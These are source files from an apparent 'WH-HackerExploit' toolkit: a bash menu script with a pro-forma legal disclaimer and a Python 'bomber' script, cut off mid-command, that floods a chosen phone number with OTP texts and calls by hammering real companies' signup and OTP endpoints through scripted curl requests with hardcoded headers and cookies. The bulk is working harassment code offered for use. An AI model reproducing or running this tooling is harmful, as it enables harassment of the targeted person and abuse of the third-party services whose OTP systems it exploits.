WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 142 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 143 | echo "state and federal laws. Developers assume no liability and are not responsible" 144 | echo " for any misuse or damage caused by this program. Only use for educational purposes." 145 | 146 | 147 | echo "" 148 | echo "${RED}==============================================================================================================" 149 | echo "${RESTORE}" 150 | echo "${RESTORE}" 151 | sudo service postgresql stop 152 | 153 | echo "Select Your target Option >" 154 | echo "${YELLOW}" 155 | select planet in "UN-INSTALL" "Iagree" "Dis-agree"${RESTORE} 156 | 157 | do 158 | if [ "$planet" == UN-INSTALL ] 159 | 160 | then 161 | 162 | rm -rf $LPARTH/whbom 163 | rm -rf $LPARTH/whb-bin 164 | rm -rf $LPARTH/whmenu.sh 165 | sleep 2; 166 | echo "${YELLOW}WHBOOMBING${BLUE} Uninstallation is successfully ${GREEN}completed" 167 | exit 168 | elif [ "$planet" == Iagree ] 169 | then 170 | 171 | 172 | 173 | 174 | 175 | #============================================== 176 | 177 | 178 | 179 | clear 180 | 181 | #logo or name 182 | echo "${GREEN} WELCOME TO The ${RESTORE}" 183 | echo "${RESTORE}" 184 | echo "${YELLOW}" 185 | 186 | 187 | echo " █ █░ ██░ ██ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓" 188 | echo "▓█░ █ ░█░▓██░ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒" 189 | echo "▒█░ █ ░█ ▒██▀▀██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░" 190 | echo "░█░ █ ░█ ░▓█ ░██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░ " 191 | echo "░░██▒██▓ ░▓█▒░██▓ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ " 192 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ " 193 | echo " ▒ ░ ░ ▒ ░▒░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ " 194 | echo " ░ ░ ░ ░░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ " 195 | echo " ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " 196 | echo " ░ " 197 | echo " " 198 | 199 | echo " ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▄ ▀▄ ▄▀▀▀▀▄ " 200 | echo "▐ ▄▀ █ █ █ █ █ █ █ ▀ █ ▐ ▄▀ █ █ █ █ █ █ █ █ █ " 201 | echo " █▄▄▄▀ █ █ █ █ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▐ █ ▀█ █ ▀▄▄ " 202 | echo " █ █ ▀▄ ▄▀ ▀▄ ▄▀ █ █ █ █ █ █ █ █ █ █ " 203 | echo " ▄▀▄▄▄▀ ▀▀▀▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ ▄▀ █ ▐▀▄▄▄▄▀ ▐ " 204 | echo "█ ▐ █ █ █ ▐ █ █ █ ▐ ▐ " 205 | echo "▐ ▐ ▐ ▐ ▐ ▐ ▐ " 206 | echo "${RESTORE}" 207 | echo "${RED}==============================================================================================================" 208 | echo "${RESTORE}" 209 | echo "${BLUE}" 210 | echo "LEGAL DISCLAIMER >>" 211 | echo "${RED}" 212 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 213 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 214 | echo "state and federal laws. Developers assume no liability and are not responsible" 215 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 216 | echo "" 217 | echo "${RED}==============================================================================================================" 218 | echo "${RESTORE}" 219 | echo "${RESTORE}" 220 | 221 | # 1. Create ProgressBar function 222 | # 1.1 Input is currentState($1) and totalState($2) 223 | function ProgressBar { 224 | # Process data 225 | let _progress=(${1}*100/${2}*100)/100 226 | let _done=(${_progress}*4)/10 227 | let _left=40-$_done 228 | # Build progressbar string lengths 229 | _fill=$(printf "%${_done}s") 230 | _empty=$(printf "%${_left}s") 231 | 232 | # 1.2 Build progressbar strings and print the ProgressBar line 233 | # 1.2.1 Output example: 234 | # 1.2.1.1 Progress : [########################################] 100% 235 | printf "\rProgress framework : [${_fill// /\#}${_empty// /-}] ${_progress}%%" 236 | 237 | } 238 | 239 | # Variables 240 | _start=1 241 | 242 | # This accounts as the "totalState" variable for the ProgressBar function 243 | _end=100 244 | 245 | # Proof of concept 246 | for number in $(seq ${_start} ${_end}) 247 | do 248 | sleep 0.1 249 | 250 | ProgressBar ${number} ${_end} 251 | done 252 | printf '\nFinished!\n' 253 | mpv $LPARTH/whb-bin/scifi.mp3 | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Starting - Framework" --percentage=0 --auto-close --width 300 > /dev/null 2>&1 254 | # service postgresql start | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Start Metasploit services" --percentage=0 --auto-close --width 300 > /dev/null 2>&1 255 | 256 | 257 | clear 258 | 259 | #logo or name 260 | echo "${GREEN} WELCOME TO The ${RESTORE}" 261 | echo "${RESTORE}" 262 | echo "${YELLOW}" 263 | 264 | 265 | 266 | echo " █ █░ ██░ ██ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓" 267 | echo "▓█░ █ ░█░▓██░ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒" 268 | echo "▒█░ █ ░█ ▒██▀▀██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░" 269 | echo "░█░ █ ░█ ░▓█ ░██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░ " 270 | echo "░░██▒██▓ ░▓█▒░██▓ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ " 271 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ " 272 | echo " ▒ ░ ░ ▒ ░▒░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ " 273 | echo " ░ ░ ░ ░░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ " 274 | echo " ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " 275 | echo " ░ " 276 | echo " " 277 | 278 | echo " ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▄ ▀▄ ▄▀▀▀▀▄ " 279 | echo "▐ ▄▀ █ █ █ █ █ █ █ ▀ █ ▐ ▄▀ █ █ █ █ █ █ █ █ █ " 280 | echo " █▄▄▄▀ █ █ █ █ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▐ █ ▀█ █ ▀▄▄ " 281 | echo " █ █ ▀▄ ▄▀ ▀▄ ▄▀ █ █ █ █ █ █ █ █ █ █ " 282 | echo " ▄▀▄▄▄▀ ▀▀▀▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ ▄▀ █ ▐▀▄▄▄▄▀ ▐ " 283 | echo "█ ▐ █ █ █ ▐ █ █ █ ▐ ▐ " 284 | echo "▐ ▐ ▐ ▐ ▐ ▐ ▐ " 285 | #egrep -i ver toolinfo; 286 | echo "${RESTORE}" 287 | echo "${RED}==============================================================================================================" 288 | echo "${RESTORE}" 289 | echo "${BLUE}" 290 | echo "LEGAL DISCLAIMER >>" 291 | echo "${RED}" 292 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 293 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 294 | echo "state and federal laws. Developers assume no liability and are not responsible" 295 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 296 | echo "" 297 | echo "${RED}==============================================================================================================" 298 | echo "${RESTORE}" 299 | echo "${RESTORE}" 300 | 301 | 302 | echo "Select Your target Option >" 303 | echo "${YELLOW}" 304 | 305 | select planet in "Mail-Boom" "SMS-and-Call" "Exit" 306 | do 307 | if [ "$planet" == Mail-Boom ] 308 | 309 | then 310 | python $LPARTH/whb-bin/BomMaiL.py 311 | 312 | bash $homemenu 313 | 314 | elif [ "$planet" == SMS-and-Call ] 315 | then 316 | bash $LPARTH/whb-bin/scBomb.sh 317 | bash $homemenu 318 | 319 | else [ "$plant" == Exit ] 320 | 321 | 322 | 323 | echo "Good Bye" 324 | 325 | 326 | exit 0 327 | 328 | fi 329 | done 330 | 331 | 332 | 333 | 334 | 335 | #============================================== 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | else [ "$plant" == Dis-agree ] 353 | 354 | 355 | 356 | echo "Good Bye" 357 | 358 | 359 | exit 0 360 | 361 | fi 362 | done 363 | -------------------------------------------------------------------------------- /usr-bin/bomber.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from datetime import datetime 3 | import os 4 | import hashlib 5 | import sys 6 | import time 7 | import threading 8 | import string 9 | import random 10 | import base64 11 | import urllib.request 12 | import urllib.parse 13 | 14 | try: 15 | import requests 16 | except ImportError: 17 | print('[!] Error: some dependencies are not installed') 18 | print('Type \'pip install -r requirements.txt\' to install all required packages') 19 | exit() 20 | 21 | colors=['\033[1;31m','\033[1;32m','\033[1;33m','\033[1;34m','\033[1;35m','\033[1;36m'] 22 | W='\033[0m' 23 | # The Credit For This Code Goes To SpeedX And All Other Contributors Listed At https://github.com/TheSpeedX/WH-Boom 24 | # If You Wanna Take Credits For This Code, Please Look Yourself Again 25 | 26 | country_codes = { 27 | '93': 'AF', 28 | '355': 'AL', 29 | '213': 'DZ', 30 | '376': 'AD', 31 | '244': 'AO', 32 | '672': 'AQ', 33 | '54': 'AR', 34 | '374': 'AM', 35 | '297': 'AW', 36 | '61': 'AU', 37 | '43': 'AT', 38 | '994': 'AZ', 39 | '973': 'BH', 40 | '880': 'BD', 41 | '375': 'BY', 42 | '32': 'BE', 43 | '501': 'BZ', 44 | '229': 'BJ', 45 | '975': 'BT', 46 | '591': 'BO', 47 | '387': 'BA', 48 | '267': 'BW', 49 | '55': 'BR', 50 | '246': 'IO', 51 | '673': 'BN', 52 | '359': 'BG', 53 | '226': 'BF', 54 | '257': 'BI', 55 | '855': 'KH', 56 | '237': 'CM', 57 | '238': 'CV', 58 | '236': 'CF', 59 | '235': 'TD', 60 | '56': 'CL', 61 | '86': 'CN', 62 | '57': 'CO', 63 | '269': 'KM', 64 | '682': 'CK', 65 | '506': 'CR', 66 | '385': 'HR', 67 | '53': 'CU', 68 | '599': 'AN', 69 | '357': 'CY', 70 | '420': 'CZ', 71 | '243': 'CD', 72 | '45': 'DK', 73 | '253': 'DJ', 74 | '670': 'TL', 75 | '593': 'EC', 76 | '20': 'EG', 77 | '503': 'SV', 78 | '240': 'GQ', 79 | '291': 'ER', 80 | '372': 'EE', 81 | '251': 'ET', 82 | '500': 'FK', 83 | '298': 'FO', 84 | '679': 'FJ', 85 | '358': 'FI', 86 | '33': 'FR', 87 | '689': 'PF', 88 | '241': 'GA', 89 | '220': 'GM', 90 | '995': 'GE', 91 | '49': 'DE', 92 | '233': 'GH', 93 | '350': 'GI', 94 | '30': 'GR', 95 | '299': 'GL', 96 | '502': 'GT', 97 | '224': 'GN', 98 | '245': 'GW', 99 | '592': 'GY', 100 | '509': 'HT', 101 | '504': 'HN', 102 | '852': 'HK', 103 | '36': 'HU', 104 | '354': 'IS', 105 | '91': 'IN', 106 | '62': 'ID', 107 | '98': 'IR', 108 | '964': 'IQ', 109 | '353': 'IE', 110 | '972': 'IL', 111 | '39': 'IT', 112 | '225': 'CI', 113 | '81': 'JP', 114 | '962': 'JO', 115 | '254': 'KE', 116 | '686': 'KI', 117 | '383': 'XK', 118 | '965': 'KW', 119 | '996': 'KG', 120 | '856': 'LA', 121 | '371': 'LV', 122 | '961': 'LB', 123 | '266': 'LS', 124 | '231': 'LR', 125 | '218': 'LY', 126 | '423': 'LI', 127 | '370': 'LT', 128 | '352': 'LU', 129 | '853': 'MO', 130 | '389': 'MK', 131 | '261': 'MG', 132 | '265': 'MW', 133 | '60': 'MY', 134 | '960': 'MV', 135 | '223': 'ML', 136 | '356': 'MT', 137 | '692': 'MH', 138 | '222': 'MR', 139 | '230': 'MU', 140 | '262': 'RE', 141 | '52': 'MX', 142 | '691': 'FM', 143 | '373': 'MD', 144 | '377': 'MC', 145 | '976': 'MN', 146 | '382': 'ME', 147 | '212': 'EH', 148 | '258': 'MZ', 149 | '95': 'MM', 150 | '264': 'NA', 151 | '674': 'NR', 152 | '977': 'NP', 153 | '31': 'NL', 154 | '687': 'NC', 155 | '64': 'NZ', 156 | '505': 'NI', 157 | '227': 'NE', 158 | '234': 'NG', 159 | '683': 'NU', 160 | '850': 'KP', 161 | '47': 'SJ', 162 | '968': 'OM', 163 | '92': 'PK', 164 | '680': 'PW', 165 | '970': 'PS', 166 | '507': 'PA', 167 | '675': 'PG', 168 | '595': 'PY', 169 | '51': 'PE', 170 | '63': 'PH', 171 | '48': 'PL', 172 | '351': 'PT', 173 | '974': 'QA', 174 | '242': 'CG', 175 | '40': 'RO', 176 | '7': 'RU', 177 | '250': 'RW', 178 | '590': 'MF', 179 | '290': 'SH', 180 | '508': 'PM', 181 | '685': 'WS', 182 | '378': 'SM', 183 | '239': 'ST', 184 | '966': 'SA', 185 | '221': 'SN', 186 | '381': 'RS', 187 | '248': 'SC', 188 | '232': 'SL', 189 | '65': 'SG', 190 | '421': 'SK', 191 | '386': 'SI', 192 | '677': 'SB', 193 | '252': 'SO', 194 | '27': 'ZA', 195 | '82': 'KR', 196 | '211': 'SS', 197 | '34': 'ES', 198 | '94': 'LK', 199 | '249': 'SD', 200 | '597': 'SR', 201 | '268': 'SZ', 202 | '46': 'SE', 203 | '41': 'CH', 204 | '963': 'SY', 205 | '886': 'TW', 206 | '992': 'TJ', 207 | '255': 'TZ', 208 | '66': 'TH', 209 | '228': 'TG', 210 | '690': 'TK', 211 | '676': 'TO', 212 | '216': 'TN', 213 | '90': 'TR', 214 | '993': 'TM', 215 | '688': 'TV', 216 | '256': 'UG', 217 | '380': 'UA', 218 | '971': 'AE', 219 | '44': 'GB', 220 | '1': 'US', 221 | '598': 'UY', 222 | '998': 'UZ', 223 | '678': 'VU', 224 | '379': 'VA', 225 | '58': 'VE', 226 | '84': 'VN', 227 | '681': 'WF', 228 | '967': 'YE', 229 | '260': 'ZM', 230 | '263': 'ZW' 231 | } 232 | 233 | 234 | def clr(): 235 | if os.name == 'nt': 236 | os.system('cls') 237 | else: 238 | os.system('clear') 239 | def banner(): 240 | 241 | clr() 242 | logo=""" 243 | █ █░ ██░ ██ ▄▄▄▄ ▒█████ ▒█████ ███▄ ▄███▓ ▄▄▄▄ ▓█████ ██▀███ ██▀███ 244 | ▓█░ █ ░█░▓██░ ██▒▓█████▄ ▒██▒ ██▒▒██▒ ██▒▓██▒▀█▀ ██▒▓█████▄ ▓█ ▀ ▓██ ▒ ██▒▓██ ▒ ██▒ 245 | ▒█░ █ ░█ ▒██▀▀██░▒██▒ ▄██▒██░ ██▒▒██░ ██▒▓██ ▓██░▒██▒ ▄██▒███ ▓██ ░▄█ ▒▓██ ░▄█ ▒ 246 | ░█░ █ ░█ ░▓█ ░██ ▒██░█▀ ▒██ ██░▒██ ██░▒██ ▒██ ▒██░█▀ ▒▓█ ▄ ▒██▀▀█▄ ▒██▀▀█▄ 247 | ░░██▒██▓ ░▓█▒░██▓░▓█ ▀█▓░ ████▓▒░░ ████▓▒░▒██▒ ░██▒░▓█ ▀█▓░▒████▒░██▓ ▒██▒░██▓ ▒██▒ 248 | ░ ▓░▒ ▒ ▒ ░░▒░▒░▒▓███▀▒░ ▒░▒░▒░ ░ ▒░▒░▒░ ░ ▒░ ░ ░░▒▓███▀▒░░ ▒░ ░░ ▒▓ ░▒▓░░ ▒▓ ░▒▓░ 249 | ▒ ░ ░ ▒ ░▒░ ░▒░▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ░ ░▒░▒ ░ ░ ░ ░ ░▒ ░ ▒░ ░▒ ░ ▒░ 250 | ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░░ ░ ░░ ░ 251 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 252 | ░ ░ 253 | 254 | 255 | 256 | """ 257 | print(random.choice(colors)+logo+W) 258 | print("\n") 259 | 260 | 261 | 262 | count_inf = 0 263 | 264 | 265 | def infinite(pn, dl, ch, max): 266 | global count_inf 267 | while True: 268 | while os.path.exists('proc.xxx'): 269 | time.sleep(0.5) 270 | os.system('touch proc.xxx') 271 | api = random.choice(ch) 272 | try: 273 | ret = getapi(pn, api, 91) 274 | except Exception: 275 | ret = False 276 | if not ret: 277 | while ch.count(api) > 0: 278 | ch.remove(api) 279 | continue 280 | os.system('rm proc.xxx >/dev/null 2>&1') 281 | count_inf += 1 282 | # os.system('echo SpeedX >> count.xxx') 283 | time.sleep(float(dl)) 284 | if (count_inf > maxlim): 285 | exit() 286 | 287 | 288 | def checkinternet(): 289 | res = False 290 | try: 291 | requests.get('https://www.google.com', verify=True) 292 | res = False 293 | except Exception: 294 | res = True 295 | if res: 296 | print("\n\n\tIt seems That Your Internet Speed is Slow or You Are Using Proxies...") 297 | print('\t\tWH-Boom Will Stop Now...\n\n') 298 | banner() 299 | exit() 300 | 301 | 302 | def getapi(pn, lim, cc): 303 | global country_codes 304 | cc = str(cc).strip() 305 | cnn = country_codes[cc] 306 | lim = int(lim) 307 | url = ["https://www.oyorooms.com/api/pwa/generateotp?country_code=%2B" + 308 | str(cc) + "&nod=4&phone=" + pn, "https://direct.delhivery.com/delhiverydirect/order/generate-otp?phoneNo=" + pn, "https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=" + pn] 309 | try: 310 | if lim < len(url): 311 | urllib.request.urlopen(str(url[lim])) 312 | return True 313 | except (urllib.error.HTTPError, urllib.error.URLError): 314 | return False 315 | if lim == 3: 316 | os.system('curl -s -X POST -H "Host:m.netmeds.com" -H "content-length:76" -H "accept:*/*" -H "origin:https://m.netmeds.com" -H "x-requested-with:XMLHttpRequest" -H "save-data:on" -H "user-agent:Mozilla/5.0 (Linux; Android 8.1.0; vivo 1718) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Mobile Safari/537.36" -H "content-type:application/x-www-form-urlencoded; charset=UTF-8" -H "referer:https://m.netmeds.com/customer/account/login/" -H "accept-encoding:gzip, deflate, br" -H "accept-language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6" -H "cookie:checkmobileno-popup=quWqfunF" -H "cookie:section_data_ids=%7B%22cart%22%3A1559721914%2C%22directory-data%22%3A1559721853%7D" -H "cookie:mage-messages=" -H "cookie:_gat_UA-63910444-1=1" -H "cookie:_gac_UA-63910444-1=1.1559721866.CjwKCAjw0N3nBRBvEiwAHMwvNuYvgGcnYSdAie5_0MBknXSXxfrtAQ-otjvqdbr_MPyAf56mFqwQTxoChEUQAvD_BwE" -H "cookie:_gcl_aw=GCL.1559721866.CjwKCAjw0N3nBRBvEiwAHMwvNuYvgGcnYSdAie5_0MBknXSXxfrtAQ-otjvqdbr_MPyAf56mFqwQTxoChEUQAvD_BwE" -H "cookie:_nmstracking=| sms | ADW-CPC-Search-NMS-Brand-OC" -H "cookie:_nmsUTMtrackingsource=ADW-CPC-Search-NMS-Brand-OC&ADW-CPC-Search-NMS-Brand-OC&CPC&ADW-CPC-Search-NMS-Brand-OC" -H "cookie:_nmsCampaign=ADW-CPC-Search-NMS-Brand-OC" -H "cookie:_nmsMedium=CPC" -H "cookie:_nmsSource=ADW-CPC-Search-NMS-Brand-OC" -H "cookie:_nmsAttr=ADW-CPC-Search-NMS-Brand-OC" -H "cookie:private_content_version=eef016e2f8225f631d4a6e1cf8cdf4ac" -H "cookie:mage-cache-sessid=true" -H "cookie:mage-cache-storage-section-invalidation=%7B%7D" -H "cookie:mage-cache-storage=%7B%7D" -H "cookie:form_key=YGWpwHiCN5uglOtY" -H "cookie:_gid=GA1.3.93227781.1559647218" -H "cookie:mage-translation-file-version=%7B%7D" -H "cookie:mage-translation-storage=%7B%7D" -H "cookie:_gcl_au=1.1.656472353.1559647214" -H "cookie:PHPSESSID=b5i36rg02l2jg9cielmm9fl7c6" -H "cookie:cto_lwid=e5917844-4f1b-48f9-bf74-b0bfdd5c79ce" -H "cookie:bsCoId=3558720339100" -H "cookie:bsUl=0" -H "cookie:_fbp=fb.1.1558720332185.799068042" -H "cookie:_ga=GA1.3.185497001.1558720330" -d \'register_mobileno=' + pn + '&logintype=Otp&uniq_identy=quWqfunF&forget_pwd=N\' "https://m.netmeds.com/sociallogin/popup/nmsgetcode/" > /dev/null 2>&1') 317 | return True 318 | elif lim == 4: 319 | os.system( 320 | 'curl -s -X POST -H "Host:client-api.goomo.com" -H "origin:https://www.goomo.com" -H "client:m-web" -H "x-goomo-platform:mWeb" -H "dnt:1" -H "content-type:application/json" -H "accept:*/*" -H "referer:https://www.goomo.com/hotels" -H "accept-encoding:gzip, deflate, br" -H "accept-language:en-US,en;q=0.9" -d \'{"email":"fakeemail@gmail.com","phone_number":"' + pn + '","country_code":"' + cc + '"}\' "https://client-api.goomo.com/v2/phone_confirmation/verify_user" > /dev/null 2>&1') 321 | return True 322 | elif lim == 5: 323 | os.system('curl -s -X POST -H "Accept:*/*" -H "Accept-Encoding:gzip, deflate, br" -H "Accept-Language:en-US,en;q=0.5" -H "Connection:keep-alive" -H "Content-Length:34" -H "Content-Type:application/x-www-form-urlencoded" -H "Host:www.oriyamatrimony.com" -H "Referer:https://www.oriyamatrimony.com/" -H "User-Agent:Mozilla/5.0 (Windows NT 8.1; Win64; x64; rv:59.0) Gecko/20 Firefox/56.0" -H "X-Requested-With:XMLHttpRequest" -d "countrycode=' + 324 | cc + '&mobileno=' + pn + '" "https://www.oriyamatrimony.com/login/mobileappsms-homepage.php" > /dev/null 2>&1') 325 | return True 326 | elif lim == 6: 327 | os.system( 328 | 'curl -s -X POST -H "host:www.flipkart.com" -H "user-agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" -H "accept:*/*" -H "accept-language:en-US,en;q=0.5" -H "accept-encoding:gzip, deflate, br" -H "referer:https://www.flipkart.com/" -H "x-user-agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0 FKUA/website/41/website/Desktop" -H "origin:https://www.flipkart.com" -H "connection:keep-alive" -H "Content-Type:application/json; charset=utf-8" -H "Content-Length:53" -d \'{"loginId":["+' + cc + pn + '"],"supportAllStates":true}\' "https://www.flipkart.com/api/6/user/signup/status" > /dev/null 2>&1') 329 | return True 330 | elif lim == 7: 331 | os.system('curl -s -X POST -H "Host:www.flipkart.com" -H "Connection:keep-alive" -H "Content-Length:60" -H "X-user-agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36 FKUA/website/41/website/Desktop" -H "Origin:https://www.flipkart.com" -H "Save-Data:on" -H "User-Agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" -H "Content-Type:application/x-www-form-urlencoded" -H "Accept:*/*" -H "Referer:https://www.flipkart.com/" -H "Accept-Encoding:gzip, deflate, br" -H "Accept-Language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6" -H "Cookie:T=BR%3Acjvqzhglu1mzt95aydzhvwzq1.1558031092050; SWAB=build-44be9e47461a74d737914207bcbafc30; lux_uid=155867904381892986; AMCVS_17EB401053DAF4840A490D4C%40AdobeOrg=1; AMCV_17EB401053DAF4840A490D4C%40AdobeOrg=-227196251%7CMCIDTS%7C18041%7CMCMID%7C63273353035509304576927719203948933246%7CMCAID%7CNONE%7CMCOPTOUT-1558686245s%7CNONE%7CMCAAMLH-1559283845%7C12%7CMCAAMB-1559283845%7Cj8Odv6LonN4r3an7LhD3WZrU1bUpAkFkkiY1ncBR96t2PTI; s_cc=true; SN=2.VI8085A6A237EB4C62836C8809F0D312EB.SI21A9EC4E99B949B2ACE6361B3F0208CC.VS187649B2B06A44C69824006710CB6D83.1558679078; gpv_pn=HomePage; gpv_pn_t=Homepage; S=d1t17GQVqPz9KPzobP3M4GQkjPy34TjfJxI4SbXVIvhwzm3mE13vfSEulmf90D/7L710qUpMq8mA0k2bx6b2DuwIS4g==; s_sq=%5B%5BB%5D%5D" -d \'loginId=+' + cc + pn + '&state=VERIFIED&churnEmailRequest=false\' "https://www.flipkart.com/api/5/user/otp/generate" > /dev/null 2>&1') 332 | return True 333 | elif lim == 8: 334 | os.system('curl -s -X POST -H "Host:www.ref-r.com" -H "User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0" -H "Accept:application/json, text/javascript, */*; q=0.01" -H "Accept-Language:en-US,en;q=0.5" -H "Accept-Encoding:gzip, deflate, br" -H "Content-Type:application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With:XMLHttpRequest" -H "Content-Length:26" -H "DNT:1" -H "Connection:keep-alive" -d "mobile=' + pn + '&submit=1&undefined=" "https://www.ref-r.com/clients/lenskart/smsApi" > /dev/null 2>&1') 335 | return True 336 | elif lim == 9: 337 | rd = os.popen('curl -s -X POST -H "X-DROID-VERSION:4.12.5" -H "API-Version:2.0" -H "user-agent:samsung SM-G9350 0 4.4.2" -H "client-version:Android-4.12.5" -H "X-DROID-VERSION-CODE:158" -H "Accept:application/json" -H "client-name:Practo Android App" -H "Content-Type:application/x-www-form-urlencoded" -H "Host:accounts.practo.com" -H "Connection:Keep-Alive" -H "Content-Length:96" -d "client_name=Practo+Android+App&fingerprint=&mobile=%2B' + cc + pn + '&device_name=samsung+SM-G9350&" "https://accounts.practo.com/send_otp"').read() 338 | return rd.find("success") != -1 339 | elif lim == 10: 340 | os.system( 341 | 'curl -s -X POST -H "Host:m.pizzahut.co.in" -H "content-length:114" -H "origin:https://m.pizzahut.co.in" -H "authorization:Bearer 